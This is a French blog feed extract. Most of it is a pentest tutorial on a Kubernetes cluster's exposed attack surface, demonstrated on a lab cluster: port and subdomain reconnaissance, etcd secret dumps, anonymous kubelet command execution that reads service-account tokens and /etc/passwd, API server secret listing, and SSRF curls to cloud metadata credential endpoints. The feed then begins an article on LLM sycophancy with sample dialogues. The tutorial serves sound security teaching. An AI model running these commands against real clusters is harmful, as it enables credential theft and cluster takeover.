</ul>
<img src="https://cdn.hashnode.com/uploads/covers/690093e131b18d5420f79f7a/ab587992-9367-48ce-9bbe-3cdf1232d723.png" alt="" style="display:block;margin:0 auto" />

<p>Dans tous les cas, dès que les adresses IP des nœuds sont connues ou découvertes, il convient d'effectuer un scan de ports sur chacun d'eux.</p>
<h2><strong>Identification des services expos</strong>és</h2>
<h3>Recherche active : scans réseaux</h3>
<p>Un cluster Kubernetes fait tourner de nombreux composants qui écoutent chacun sur des ports connus. Les composants du <strong>nœuds maitre</strong> et des <strong>nœuds de travail</strong> (workers) n'exposent pas les mêmes ports et ne présentent pas les mêmes risques.</p>
<p>🧠 <strong>Nœud maître (plan de contrôle)</strong></p>
<table>
<thead>
<tr>
<th>Port</th>
<th>Composant</th>
<th>Exploitation possible</th>
</tr>
</thead>
<tbody><tr>
<td>6443</td>
<td>kube-apiserver (TLS)</td>
<td>Enumération des ressources, exécution de commandes si token valide ou accès anonyme</td>
</tr>
<tr>
<td>8080</td>
<td>kube-apiserver (HTTP, legacy)</td>
<td>API entièrement ouverte sans authentification : accès complet au cluster</td>
</tr>
<tr>
<td>2379</td>
<td>etcd (client)</td>
<td>Dump de l'intégralité de la base : tous les Secrets, tokens, configurations</td>
</tr>
<tr>
<td>2380</td>
<td>etcd (peers)</td>
<td>Injection dans le cluster etcd</td>
</tr>
</tbody></table>
<p>👷 <strong>Nœuds de travail (workers)</strong></p>
<table>
<thead>
<tr>
<th>Port</th>
<th>Composant</th>
<th>Exploitation possible</th>
</tr>
</thead>
<tbody><tr>
<td>10250</td>
<td>kubelet (API)</td>
<td>Exécution de commandes dans n'importe quel pod du nœud, lecture des logs</td>
</tr>
<tr>
<td>10255</td>
<td>kubelet (read-only, legacy)</td>
<td>Enumération des pods et de leur configuration sans authentification</td>
</tr>
<tr>
<td>10256</td>
<td>kube-proxy</td>
<td>Health check uniquement</td>
</tr>
<tr>
<td>30000–32767</td>
<td>NodePort</td>
<td>Accès direct aux services applicatifs exposés sur le nœud</td>
</tr>
</tbody></table>
<p>À ces ports s'ajoutent les composants additionnels souvent présents : dashboards (8001, 8443), Ingress controllers (80, 443), registres de conteneurs, outils de CI/CD (Argo CD, Jenkins, etc.).</p>
<p>En contexte de pentest, on dispose rarement d'une cartographie préalable du cluster. On sait qu'une ou plusieurs IPs sont liées à l'infrastructure, pas nécessairement si c'est une IP d'un noeud maitre ou de travail. L'approche est donc la même sur chaque machine identifiée : on scanne les ports Kubernetes connus et on interprète ce qui répond.</p>
<pre><code class="language-bash"># Exemple sur un cluster correctement configuré
$ nmap -p 443,6443,8080,8443,2379,2380,10250,10255,10256 -sV --open \
    10.25.11.200 10.25.11.201 10.25.11.202

Nmap scan report for 10.25.11.200
PORT      STATE SERVICE  VERSION
6443/tcp  open  ssl/http Golang net/http server
10250/tcp open  ssl/http Golang net/http server

Nmap scan report for 10.25.11.201
PORT      STATE SERVICE  VERSION
10250/tcp open  ssl/http Golang net/http server

Nmap scan report for 10.25.11.202
PORT      STATE SERVICE  VERSION
10250/tcp open  ssl/http Golang net/http server
</code></pre>
<p>Le port 6443 (kube-apiserver) ne répond que sur une seule machine, ce qui trahit le nœud maître. Le port 10250 (kubelet) répond sur toutes les machines. Aucune trace de 2379 (etcd) ni de 8080 (API server HTTP legacy), ces composants ne sont pas exposés sur ce cluster.</p>
<p>On complète avec un scan de la plage NodePort pour détecter d'éventuels services applicatifs exposés directement sur les nœuds :</p>
<pre><code class="language-bash">$ nmap -p 30000-32767 --open 10.25.11.200 10.25.11.201 10.25.11.202

# Aucun résultat : aucun Service de type NodePort déployé sur ce cluster
</code></pre>
<p>⚠️ <strong>Note</strong> : En situation réelle, adapter la vitesse du scan selon le contexte. Un scan agressif peut déclencher des alertes ou impacter les services.</p>
<p>La même reconnaissance est possible via <strong>Kubestroyer</strong>, qui identifie automatiquement le rôle de chaque port dans l'écosystème Kubernetes et peut enchaîner directement sur l'exploitation si une misconfiguration est détectée :</p>
<p><a href="https://github.com/Rolix44/Kubestroyer"><img src="https://opengraph.github.com/repo/Rolix44/Kubestroyer" alt="Kubestroyer" style="display:block;margin:0 auto" /></a></p>
<pre><code class="language-shell"># Scan des ports Kubernetes connus
$ kubestroyer -t 10.25.11.200,10.25.11.201,10.25.11.202

[+] port 6443 open  (Kubernetes API port)        # 10.25.11.200
[+] port 10250 open (Kubelet API anonymous port) # 10.25.11.200, .201, .202

# Scan de la plage NodePort
$ kubestroyer -t 10.25.11.200,10.25.11.201,10.25.11.202 --node-scan
# Aucun port NodePort ouvert détecté
</code></pre>
<h3>Recherche passive : domaines, Ingress et services exposés</h3>
<p>Le scan de ports couvre les IPs connues. Mais dans un contexte cloud, une partie de la surface d'attaque n'est pas accessible via IP directe : elle passe par des noms de domaine et des Ingress. La recherche passive permet d'identifier ces points d'entrée sans envoyer un seul paquet vers la cible.</p>
<p><strong>Enumération des sous-domaines via outils</strong></p>
<p>Un cluster expose souvent plusieurs services sous des sous-domaines d'un même domaine principal. L'objectif est d'en dresser la liste avant d'interagir avec eux.</p>
<pre><code class="language-shell"># Enumération passive via certificats TLS (crt.sh)
$ curl -s "https://crt.sh/?q=%.example.com&amp;output=json" | jq '.[].name_value' | sort -u

# Enumération DNS avec amass (mode passif)
$ amass enum -passive -d example.com
$ bbot -t example.com -f subdomain-enum --force

# Bruteforce DNS
$ gobuster dns -d example.com -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt

# Bruteforce vhost (trouve les services routés par l'Ingress sans enregistrement DNS)
$ gobuster vhost -u https://&lt;ip-ou-domaine&gt; --append-domain \
    -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt
$ ffuf -u https://&lt;ip-ou-domaine&gt; -H "Host: FUZZ.example.com" \
    -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
    -fs &lt;taille-reponse-par-defaut&gt;
</code></pre>
<p>Parmi les sous-domaines trouvés, certains noms sont révélateurs d'une infrastructure Kubernetes : <code>k8s.</code>, <code>kube.</code>, <code>api.</code>, <code>argo.</code>, <code>grafana.</code>, <code>dashboard.</code>, <code>registry.</code>, etc.</p>
<p><strong>Enumération des sous-domaines via OSINT</strong></p>
<p>Shodan, Censys et ZoomEye indexent les services accessibles publiquement. Des dorks spécifiques permettent de trouver des composants Kubernetes exposés, sans jamais contacter la cible directement :</p>
<pre><code class="language-plaintext"># Shodan
port:6443 ssl:"kubernetes"
port:10250 "Kubelet"
product:etcd
"kubernetes dashboard"
"kubernetes master"

# Censys
services.port: 6443
services.software.product: "etcd"

# Google
site:example.com inurl:"/api/v1"
site:example.com intitle:"Kubernetes Dashboard"
</code></pre>
<p>Exemple avec Shodan :</p>
<img src="https://cdn.hashnode.com/uploads/covers/690093e131b18d5420f79f7a/30de7e90-f4c9-49cf-b9f5-bdaf44bb7422.png" alt="" style="display:block;margin:0 auto" />

<p>Des API etcd non authentifiées, des dashboards Kubernetes ou des kubelet ouverts se retrouvent régulièrement indexés. Cette étape fournit des cibles concrètes avant tout contact direct.</p>
<p><strong>Enumeration des sous-domaines via VHOST</strong></p>
<p>Un Ingress controller peut écouter sur des ports très variés selon le type de déploiement : <strong>80/443</strong> en cloud (service <code>LoadBalancer</code>) ou avec <code>hostPort</code> directement sur le nœud, <strong>un NodePort</strong> (30000-32767) sur un cluster on-premise ou un lab, ou encore <strong>8080/8443</strong> sur des environnements de dev. Il n'est donc pas toujours évident de distinguer un Ingress d'une application exposée directement.</p>
<p>Sur chaque port HTTP identifié par nmap, on envoie une requête sans <code>Host</code> valide et on compare la réponse contre les signatures connues des Ingress controllers :</p>
<pre><code class="language-shell">$ ffuf -u https://&lt;ip&gt;:&lt;port&gt;/ -H "Host: FUZZ" -w /dev/null -mr "nginx|default backend|traefik|404 page not found" -x GET
</code></pre>
<p>Ou simplement avec curl pour lire les headers et le corps :</p>
<pre><code class="language-shell">$ curl -sk https://&lt;ip&gt;:&lt;port&gt;/ -D -
HTTP/2 404
...
&lt;center&gt;nginx&lt;/center&gt;         # nginx-ingress
# ou : default backend - 404  # nginx-ingress &lt; 1.0
# ou : X-Powered-By: traefik  # Traefik
</code></pre>
<p>Le certificat TLS peut aussi lister directement les services exposés via les SANs :</p>
<pre><code class="language-shell">$ openssl s_client -connect &lt;ip&gt;:&lt;port&gt; &lt;/dev/null 2&gt;/dev/null \
    | openssl x509 -noout -text | grep -A 2 "Subject Alternative Name"
DNS:app.example.com, DNS:api.example.com, DNS:*.example.com
</code></pre>
<p>Exemple de service ingress nginx :</p>
<img src="https://cdn.hashnode.com/uploads/covers/690093e131b18d5420f79f7a/8e3cde1e-bcf3-4d8c-8223-ba0b6c1db30a.png" alt="" style="display:block;margin:0 auto" />

<p>Une fois l'Ingress confirmé, on cartographie ce qui se cache derrière : vhosts, paths applicatifs, interfaces d'administration oubliées.</p>
<pre><code class="language-shell"># Enumération des vhosts
$ ffuf -u https://&lt;ip&gt;:&lt;port&gt;/ -H "Host: FUZZ.example.com" \
    -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
    -fs &lt;taille-reponse-par-defaut&gt;

# Fuzzing des paths sur un vhost identifié
$ ffuf -u https://&lt;domaine&gt;/FUZZ \
    -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt
</code></pre>
<p>Les interfaces d'administration (Argo CD, Grafana, Kibana, Jupyter, Kubernetes Dashboard) sont des cibles fréquentes : elles sont souvent déployées pour les équipes internes et exposées sans authentification forte, voire sans authentification du tout.</p>
<h2><strong>Exploitation des services identifiés</strong></h2>
<h3>Services Kubernetes</h3>
<p><strong>etcd (2379/tcp, 2380/tcp)</strong></p>
<p>etcd est la base de données du cluster. Il stocke <strong>l'état complet du cluster</strong>, y compris tous les Secrets en base64. C'est le composant le plus critique : y accéder sans authentification signifie accéder à tout.</p>
<p><em>2379/tcp: compromission totale, dump de tous les secrets du cluster</em></p>
<p>Sur notre cluster de démonstration, un etcd standalone a été démarré sans TLS (<code>--listen-client-urls http://0.0.0.0:2379</code>). Sans certificat client, l'accès est immédiat :</p>
<pre><code class="language-bash"># etcd répond sans certificat client
$ curl http://10.25.11.200:2379/version
{"etcdserver":"3.5.12","etcdcluster":"3.5.0"}

# Avec etcdctl : lister toutes les clés
$ etcdctl --endpoints=http://10.25.11.200:2379 get / --prefix --keys-only
/registry/secrets/default/db-credentials
/registry/secrets/kube-system/admin-token
/registry/serviceaccounts/default/default
/registry/serviceaccounts/kube-system/cluster-admin-sa
/registry/serviceaccounts/kube-system/default

# Lire un secret et afficher son contenu brut
$ etcdctl --endpoints=http://10.25.11.200:2379 \
    get /registry/secrets/default/db-credentials --print-value-only
{
  "apiVersion": "v1",
  "kind": "Secret",
  "metadata": { "name": "db-credentials", "namespace": "default" },
  "type": "Opaque",
  "data": {
    "DB_PASSWORD": "c3VwZXJTZWNyZXRQYXNzd29yZDEyMw==",
    "DB_USER": "YWRtaW4=",
    "DB_HOST": "bXlzcWwucHJvZC5zdmMuY2x1c3Rlci5sb2NhbA=="
  }
}
</code></pre>
<p>Les valeurs sont encodées en base64 mais pas chiffrées (sauf si le chiffrement au repos est activé). Un <code>base64 -d</code> suffit à lire le contenu des Secrets :</p>
<pre><code class="language-bash"># Décoder les valeurs base64
$ echo "c3VwZXJTZWNyZXRQYXNzd29yZDEyMw==" | base64 -d
superSecretPassword123

$ echo "YWRtaW4=" | base64 -d
admin

$ echo "bXlzcWwucHJvZC5zdmMuY2x1c3Rlci5sb2NhbA==" | base64 -d
mysql.prod.svc.cluster.local

# Cible prioritaire : les tokens de service accounts système
$ etcdctl --endpoints=http://10.25.11.200:2379 get / --prefix --keys-only | grep serviceaccount
/registry/serviceaccounts/default/default
/registry/serviceaccounts/kube-system/cluster-admin-sa
/registry/serviceaccounts/kube-system/default
</code></pre>
<p>Un token de service account <code>cluster-admin</code> extrait d'etcd donne un accès complet au cluster via l'API server, sans passer par les mécanismes d'authentification normaux.</p>
<p>Kubestroyer automatise cette vérification avec le flag <code>--etcd</code> : il tente une connexion anonyme et extrait les objets disponibles sans avoir à manipuler etcdctl manuellement.</p>
<pre><code class="language-bash">$ kubestroyer -t &lt;ip&gt; --etcd
</code></pre>
<p><em>2380/tcp: perturbation du cluster etcd (exploitation complexe)</em></p>
<p>Le port 2380 sert à la communication entre membres du cluster etcd (Raft). Il n'est pas destiné aux clients, mais son exposition indique que etcd n'est pas isolé réseau. Dans un cluster multi-nœuds, il peut permettre d'injecter un nouveau membre etcd ou de provoquer une perturbation du quorum, mais l'exploitation directe via ce port est nettement plus complexe que via 2379.</p>
<p><strong>kubelet (10250/tcp, 10255/tcp)</strong></p>
<p>Le kubelet est l'agent qui tourne sur chaque nœud et exécute les pods. Son API expose des endpoints permettant d'interagir directement avec les conteneurs du nœud.</p>
<p><em>10250/tcp: RCE dans n'importe quel pod du nœud</em></p>
<p>Si le kubelet est configuré avec <code>--anonymous-auth=true</code> et <code>--authorization-mode=AlwaysAllow</code> (configuration par défaut sur certaines distributions anciennes), il est possible d'exécuter des commandes dans n'importe quel pod du nœud sans authentification.</p>
<p>Sur notre cluster, le kubelet répond mais rejette les requêtes anonymes :</p>
<pre><code class="language-bash"># Tenter de lister les pods du nœud sans authentification
$ curl -sk https://10.25.11.201:10250/pods
Unauthorized
</code></pre>
<p>C'est le comportement attendu d'un kubelet correctement configuré. Sur notre cluster de démonstration, après activation de l'authentification anonyme sur le kubelet du nœud worker-01, la même requête retourne la liste complète des pods :</p>
<pre><code class="language-bash"># Kubelet non authentifié : lister les pods du nœud
$ curl -sk https://10.25.11.201:10250/pods | jq '.items[] | {namespace: .metadata.namespace, name: .metadata.name}'
{"namespace": "kube-system", "name": "local-path-provisioner-546dfc6456-fbk7k"}
{"namespace": "kube-system", "name": "cilium-wqqnp"}
{"namespace": "kube-system", "name": "cilium-envoy-95h98"}
{"namespace": "default",     "name": "victim-pod"}

# Exécuter une commande dans un conteneur (cmd passé en query parameter)
$ curl -sk -X POST \
    "https://10.25.11.201:10250/run/default/victim-pod/victim-pod?cmd=id"
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)

$ curl -sk -X POST \
    "https://10.25.11.201:10250/run/default/victim-pod/victim-pod?cmd=hostname"
victim-pod
</code></pre>
<p>Kubestroyer automatise cette étape avec le flag <code>--anon-rce</code>. L'outil liste les conteneurs disponibles sur le nœud et propose d'y exécuter une commande (par défaut : récupération du token du Service Account) :</p>
<pre><code class="language-bash">$ kubestroyer -t &lt;ip-noeud&gt; --anon-rce
$ kubestroyer -t &lt;ip-noeud&gt; --anon-rce -x "cat /etc/passwd"
</code></pre>
<p>Une fois l'exécution obtenue dans un conteneur, l'objectif immédiat est de récupérer le token du Service Account monté dans le pod. Ce token est présent dans tous les pods par défaut :</p>
<pre><code class="language-bash"># Extraction du token du Service Account depuis le pod via l'endpoint /run
$ curl -sk -X POST \
    "https://10.25.11.201:10250/run/default/victim-pod/victim-pod?cmd=cat%20/var/run/secrets/kubernetes.io/serviceaccount/token"
eyJhbGciOiJSUzI1NiIsImtpZCI6IkRyUzU0MG1qdmJpeW85cUNhUzFxQ3k3REV4bTZFd2liYzhJc2JOQjRXVUEifQ.eyJhdWQiOlsiaHR0cHM6Ly9rdWJlcm5ldGVzLmRlZmF1bHQuc3ZjLmNsdXN0ZXIubG9jYWwiLCJrM3MiXSwiZXhwIjoxODAzNjUxODkwLCJpYXQiOjE3NzIxMTU4OTAsImlzcyI6Imh0dHBzOi8va3ViZXJuZXRlcy5kZWZhdWx0LnN2Yy5jbHVzdGVyLmxvY2FsIiwianRpIjoiMzI3ODVhMGEtMTJhMy00NGZjLThhZDktNTEwNzA1YzBhMTJkIiwia3ViZXJuZXRlcy5pbyI6eyJuYW1lc3BhY2UiOiJkZWZhdWx0Iiwibm9kZSI6eyJuYW1lIjoiazNzLXdvcmtlci0wMSIsInVpZCI6ImMyMjZjNjYyLTU3YWItNDlkZi1iM2E1LWY3MmQxMDM0OTI2YSJ9LCJwb2QiOnsibmFtZSI6InZpY3RpbS1wb2QiLCJ1aWQiOiI5YmU3MDM0Yy1kNTFlLTRiMzYtYWRiZi0yN2IyNzE1ZGVhYTgifSwic2VydmljZWFjY291bnQiOnsibmFtZSI6ImRlZmF1bHQiLCJ1aWQiOiJiYzcxZDUwYi03MDdjLTRiYjQtYjA0MC0zZDhhM2U0ODgzMDIifSwid2FybmFmdGVyIjoxNzcyMTE5NDk3fSwibmJmIjoxNzcyMTE1ODkwLCJzdWIiOiJzeXN0ZW06c2VydmljZWFjY291bnQ6ZGVmYXVsdDpkZWZhdWx0In0.kpyz-xHeexj43yw9ByeXXc0zuwpUXDKxu8jkZEzKr76s4OeJRuhJEYLoWcvGaG[...]

# On récupère aussi le namespace et le CA du cluster
$ curl -sk -X POST \
    "https://10.25.11.201:10250/run/default/victim-pod/victim-pod?cmd=cat%20/var/run/secrets/kubernetes.io/serviceaccount/namespace"
default
</code></pre>
<p>Ce token peut ensuite être utilisé contre l'API server. Selon les permissions RBAC du Service Account, il peut permettre d'énumérer d'autres ressources ou d'escalader les privilèges, ce qui fait l'objet des sections suivantes.</p>
<p><em>10255/tcp: fuite d'information, lecture seule sans authentification (désactivé par défaut depuis Kubernetes 1.16)</em></p>
<p>Plus simple encore : le port 10255 ne nécessite aucune authentification et expose la liste des pods sans restriction. Il reste présent sur des clusters anciens :</p>
<pre><code class="language-bash">$ curl http://&lt;ip-noeud&gt;:10255/pods
$ curl http://&lt;ip-noeud&gt;:10255/stats/summary
</code></pre>
<p><strong>kube-apiserver (6443/tcp, 8080/tcp)</strong></p>
<p>Le kube-apiserver est le point d'entrée principal du cluster. S'il est accessible depuis l'extérieur, l'impact dépend directement du port exposé.</p>
<p><em>8080/tcp: accès total sans authentification (désactivé par défaut depuis Kubernetes 1.20)</em></p>
<p>Cas plus rare mais bien plus critique : lorsque le port 8080 est ouvert, l'API server tourne en HTTP sans TLS et sans authentification. On le trouve encore sur des clusters anciens ou mal configurés :</p>
<pre><code class="language-bash"># Port 8080 : accès complet sans token, sans TLS
$ curl http://&lt;ip&gt;:8080/api/v1/secrets
$ curl http://&lt;ip&gt;:8080/api/v1/namespaces/kube-system/secrets
# → dump de tous les tokens de service accounts système
</code></pre>
<p><em>6443/tcp: enumération et escalade selon la configuration RBAC</em></p>
<p>Première chose à vérifier : est-ce que l'accès anonyme est autorisé ? La réponse varie selon la distribution et la version. Sur un cluster vanilla Kubernetes, <code>--anonymous-auth</code> est activé par défaut et certains endpoints comme <code>/healthz</code> ou <code>/version</code> répondent sans authentification. Sur k3s en revanche, même ces endpoints sont protégés.</p>
<pre><code class="language-bash"># Tester l'accès anonyme (ressources du cluster)
$ curl -k https://10.25.11.200:6443/api/v1/namespaces
{"kind":"Status","apiVersion":"v1","metadata":{},"status":"Failure",
"message":"Unauthorized","reason":"Unauthorized","code":401}

# Tester les endpoints d'information
$ curl -k https://10.25.11.200:6443/version
{"kind":"Status",...,"message":"Unauthorized","code":401}

$ curl -k https://10.25.11.200:6443/healthz
{"kind":"Status",...,"message":"Unauthorized","code":401}
</code></pre>
<p>Ici, toutes les requêtes anonymes sont rejetées, y compris les endpoints habituellement non protégés. C'est le comportement de k3s, plus restrictif que vanilla Kubernetes sur ce point.</p>
<p>Sur notre cluster de démonstration, après activation de l'authentification anonyme (<code>--anonymous-auth=true</code>) et attribution du rôle <code>cluster-admin</code> à <code>system:anonymous</code>, la même requête retourne des données directement exploitables :</p>
<pre><code class="language-bash"># Version du cluster exposée sans authentification
$ curl -k https://10.25.11.200:6443/version
{
  "major": "1",
  "minor": "34",
  "gitVersion": "v1.34.4+k3s1",
  "gitCommit": "c6017918a65c824ce8d321db15267c8a317cd39d",
  "gitTreeState": "clean",
  "buildDate": "2026-02-12T23:46:53Z",
  "goVersion": "go1.24.12",
  "compiler": "gc",
  "platform": "linux/amd64"
}

# Enumération des namespaces sans token
$ curl -k https://10.25.11.200:6443/api/v1/namespaces | jq '.items[].metadata.name'
"cilium-secrets"
"default"
"kube-node-lease"
"kube-public"
"kube-system"

# Listing des secrets dans kube-system
$ curl -k https://10.25.11.200:6443/api/v1/namespaces/kube-system/secrets | jq '.items[] | {name: .metadata.name, type: .type}'
{"name": "cilium-ca",                         "type": "Opaque"}
{"name": "hubble-relay-client-certs",          "type": "kubernetes.io/tls"}
{"name": "hubble-server-certs",                "type": "kubernetes.io/tls"}
{"name": "k3s-serving",                        "type": "kubernetes.io/tls"}
{"name": "k3s-worker-01.node-password.k3s",    "type": "k3s.cattle.io/node-password"}
{"name": "k3s-worker-02.node-password.k3s",    "type": "k3s.cattle.io/node-password"}
{"name": "sh.helm.release.v1.cilium.v1",       "type": "helm.sh/release.v1"}
</code></pre>
<p>Si un token de service account est récupéré, il peut être utilisé directement pour s'authentifier en tant que ce compte et accéder à l'API avec ses permissions :</p>
<pre><code class="language-bash">$ TOKEN="eyJhbGciOiJSUzI1NiIs..."
\( curl -k -H "Authorization: Bearer \)TOKEN" https://10.25.11.200:6443/api/v1/namespaces
</code></pre>
<h3>Services web</h3>
<p>Quand les composants Kubernetes natifs ne sont pas directement accessibles, l'entrée se fait via les applications déployées dans le cluster. Ces applications peuvent être exposées de plusieurs manières : via un Ingress controller, en NodePort (port ouvert directement sur chaque nœud dans la plage 30000-32767), ou via un LoadBalancer cloud.</p>
<p>Dans tous les cas, <strong>l'objectif est d'identifier une application vulnérable</strong> : RCE dans un pod, vol de credentials IAM via SSRF vers le metadata cloud, ou lecture de secrets via une CVE connue.</p>
<p><strong>Kubernetes Dashboard</strong></p>
<p>Interface web officielle de Kubernetes, souvent déployée à usage interne puis parfois oubliée et exposée (via NodePort). L'impact est majeur : le dashboard donne une vue complète sur toutes les ressources du cluster (pods, secrets, configmaps, service accounts) et permet d'exécuter des commandes dans n'importe quel pod directement depuis l'interface. Si le Service Account associé est <code>cluster-admin</code>, c'est une compromission totale du cluster.</p>
<img src="https://cdn.hashnode.com/uploads/covers/690093e131b18d5420f79f7a/24934b63-2adc-495e-a3a0-589a968647cd.png" alt="" style="display:block;margin:0 auto" />

<p>Deux conditions mènent à un accès sans authentification : <code>--enable-skip-login</code> (bouton "Skip" visible sur la page de login), ou un SA <code>cluster-admin</code> sans rotation de token. Le dashboard proxifie l'API Kubernetes et est interrogeable directement :</p>
<pre><code class="language-bash"># Vérifier si le bouton Skip est actif
$ curl -sk https://&lt;dashboard&gt;/api/v1/csrftoken/login

# Lister les secrets de tous les namespaces (tokens SA, credentials applicatifs, certs TLS...)
$ curl -sk https://&lt;dashboard&gt;/api/v1/namespace/default/secret
$ curl -sk https://&lt;dashboard&gt;/api/v1/namespace/kube-system/secret

# Lister les pods et leurs Service Accounts
$ curl -sk https://&lt;dashboard&gt;/api/v1/namespace/default/pod

# Exec dans un pod via le dashboard (équivalent kubectl exec)
$ curl -sk -X PUT "https://&lt;dashboard&gt;/api/v1/namespace/default/pod/&lt;pod&gt;/shell/&lt;container&gt;"
</code></pre>
<p><strong>Applications vulnérables et accès initial</strong></p>
<p><em>Outils tiers déployés dans le cluster</em></p>
<img src="https://cdn.hashnode.com/uploads/covers/690093e131b18d5420f79f7a/0cc190c3-191a-46d0-a053-e868994a5e5f.png" alt="" style="display:block;margin:0 auto" />

<p>Argo CD, Grafana, Kibana ou Jupyter sont fréquemment déployés dans les clusters pour des besoins de CI/CD, monitoring ou data science. Ils ont en commun d'être souvent accessibles depuis l'extérieur, avec des versions rarement à jour et des configurations par défaut peu sécurisées. Une fois le service identifié, la CVE ou la misconfig associée est généralement documentée et directement exploitable.</p>
<table>
<thead>
<tr>
<th>Application</th>
<th>Vecteur</th>
<th>CVE / condition</th>
</tr>
</thead>
<tbody><tr>
<td>Argo CD</td>
<td>Enum apps et repos Git sans auth</td>
<td>Version &lt; 2.4.0 ou guest access activé</td>
</tr>
<tr>
<td>Grafana</td>
<td>Path traversal → lecture de fichiers arbitraires</td>
<td>CVE-2021-43798, versions &lt; 8.3.2</td>
</tr>
<tr>
<td>Kibana</td>
<td>RCE via prototype pollution</td>
<td>CVE-2019-7609, versions &lt; 6.6.1</td>
</tr>
<tr>
<td>Jupyter Notebook</td>
<td>Exécution de code sans auth</td>
<td>Pas de mot de passe configuré</td>
</tr>
<tr>
<td>pgAdmin / phpMyAdmin</td>
<td>Credentials par défaut, SQLi</td>
<td>Selon version et configuration</td>
</tr>
</tbody></table>
<p>Pour détecter automatiquement ces panels sans les tester un par un, Nuclei dispose de templates dédiés :</p>
<pre><code class="language-bash">$ nuclei -u https://&lt;domaine&gt; -t exposed-panels/ -severity medium,high,critical
</code></pre>
<p><em>Applications personnalis</em>ées</p>
<p>Une application exposée via Ingress peut servir de point d'entrée. L'objectif est d'obtenir une exécution dans un pod. Vecteurs courants :</p>
<ul>
<li><p>Injection de commandes, SSTI, déserialisation</p>
</li>
<li><p>Endpoints non protégés : <code>/actuator/env</code>, <code>/debug/pprof</code>, <code>/.git/HEAD</code></p>
</li>
<li><p>SSRF vers l'API server interne ou le metadata endpoint cloud</p>
</li>
</ul>
<pre><code class="language-bash"># AWS IMDSv1 — credentials IAM du nœud
$ curl http://169.254.169.254/latest/meta-data/iam/security-credentials/&lt;role-name&gt;

# GCP metadata
$ curl -H "Metadata-Flavor: Google" \
    http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
</code></pre>
<pre><code class="language-bash"># Scan de vulnérabilités web + misconfigs Kubernetes en une passe
$ nuclei -l targets.txt -t kubernetes/,exposed-panels/,vulnerabilities/ -severity medium,high,critical
</code></pre>
<p>Dans tous ces cas, l'objectif est d'obtenir une exécution dans un pod. C'est à partir de ce premier accès que démarre la phase d'exploitation interne, couverte dans les sections suivantes.</p>
<h3>1.6 TL;DR</h3>
<p>Cet article couvre la surface d'attaque externe d'un cluster Kubernetes, de la reconnaissance jusqu'à l'obtention d'un premier accès. On commence par cartographier passivement ce qui est exposé (Shodan, crt.sh, Censys) avant de passer à un scan actif Nmap sur les ports Kubernetes connus et les plages NodePort.</p>
<p>Quand des composants natifs sont directement accessibles, l'impact est immédiat et souvent total : etcd sans TLS expose tous les secrets du cluster en clair, kubelet sans authentification permet d'exécuter des commandes dans n'importe quel pod du nœud, et l'API server en HTTP donne un accès complet sans credentials. Sur HTTPS, tout dépend de la configuration RBAC — l'accès anonyme activé suffit souvent à énumérer des ressources sensibles.</p>
<p>Quand ces composants ne sont pas accessibles, on passe par les applications exposées. Le Kubernetes Dashboard mal configuré est une compromission directe du cluster depuis un navigateur. Les outils tiers comme Argo CD, Grafana ou Kibana ont des CVE bien documentées : identifier la version suffit à trouver le vecteur. Pour les applications personnalisées, on reste dans un contexte de pentest web classique jusqu'à trouver une RCE ou une SSRF. La première donne un shell dans un pod avec le token SA monté, la seconde permet d'atteindre l'API server interne ou les credentials IAM cloud.</p>
<p>Les vecteurs couverts dans cet article mènent à des états très différents : shell dans un pod, accès direct à l'API avec un token SA volé, credentials cloud récupérés via SSRF. Le prochain article part du cas le plus courant et le plus contraint : on est à l'intérieur d'un pod compromis, sans accès direct à l'API, et on cherche à comprendre où on est, ce qu'on peut atteindre, et comment progresser vers les ressources les plus sensibles du cluster.</p>
]]></content:encoded></item><item><title><![CDATA[Modèles de langage et Sycophancy]]></title><description><![CDATA[Si vous utilisez un modèle de langage (LLM) au quotidien, que ce soit pour du développement ou pour des tâches plus diverses, vous avez peut-être déjà remarqué la présence très fréquente de remarques ]]></description><link>https://niji.tech/modeles-de-langage-et-sycophancy</link><guid isPermaLink="true">https://niji.tech/modeles-de-langage-et-sycophancy</guid><category><![CDATA[IA]]></category><category><![CDATA[llm]]></category><category><![CDATA[Intelligence Artificielle]]></category><category><![CDATA[software development]]></category><category><![CDATA[AI]]></category><category><![CDATA[LLM's ]]></category><dc:creator><![CDATA[Vincent LE BIANNIC]]></dc:creator><pubDate>Tue, 24 Mar 2026 14:04:12 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/stock/unsplash/wjFOjA2zXy8/upload/1cdf0604ce7c4bf306a05758aecb515d.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Si vous utilisez un modèle de langage (<strong>LLM</strong>) au quotidien, que ce soit pour du développement ou pour des tâches plus diverses, vous avez peut-être déjà remarqué la présence <strong>très fréquente</strong> de remarques plutôt flatteuses en introduction des réponses fournies par votre agent IA.</p>
<p>Parfois parce que votre suggestion était en effet judicieuse, mais également parfois alors qu'elle ne l'était pas du tout.</p>
<p>Cette tendance à complimenter l'utilisateur plus que nécessaire a un nom : “<strong>sycophancy</strong>” en anglais, ou bien “<strong>flagornerie</strong>” en français (à ne pas confondre avec le terme français “sycophant” qui a un sens différent). Elle peut se manifester de plusieurs façons, par exemple :</p>
<ul>
<li>Le modèle va corriger une affirmation qui était initialement fausse pour s'aligner avec l'utilisateur. C'est ce qu'on peut appeler de la <strong>sycophancy “progressive”</strong>, et bien qu’en apparence cela semble être quelque chose de positif cela n’est pas toujours le cas :</li>
</ul>
<blockquote>
<ul>
<li><p><strong>LLM :</strong> Il serait préférable de stocker une copie du mot de passe de l'utilisateur en base de données pour faciliter sa manipulation.</p>
</li>
<li><p><strong>Utilisateur :</strong> Est-ce qu'il ne serait pas préférable de ne pas directement manipuler ou stocker le mot de passe des utilisateurs ?</p>
</li>
<li><p><strong>LLM :</strong> Tout a fait ! Stocker une copie du mot de passe ne serait définitivement pas une approche sécurisée !</p>
</li>
</ul>
</blockquote>
<ul>
<li>Plus embêtant : le modèle va abandonner une affirmation factuelle pour s'aligner avec l'utilisateur. Dans ce cas c'est de la <strong>sycophancy “régressive”</strong> :</li>
</ul>
<blockquote>
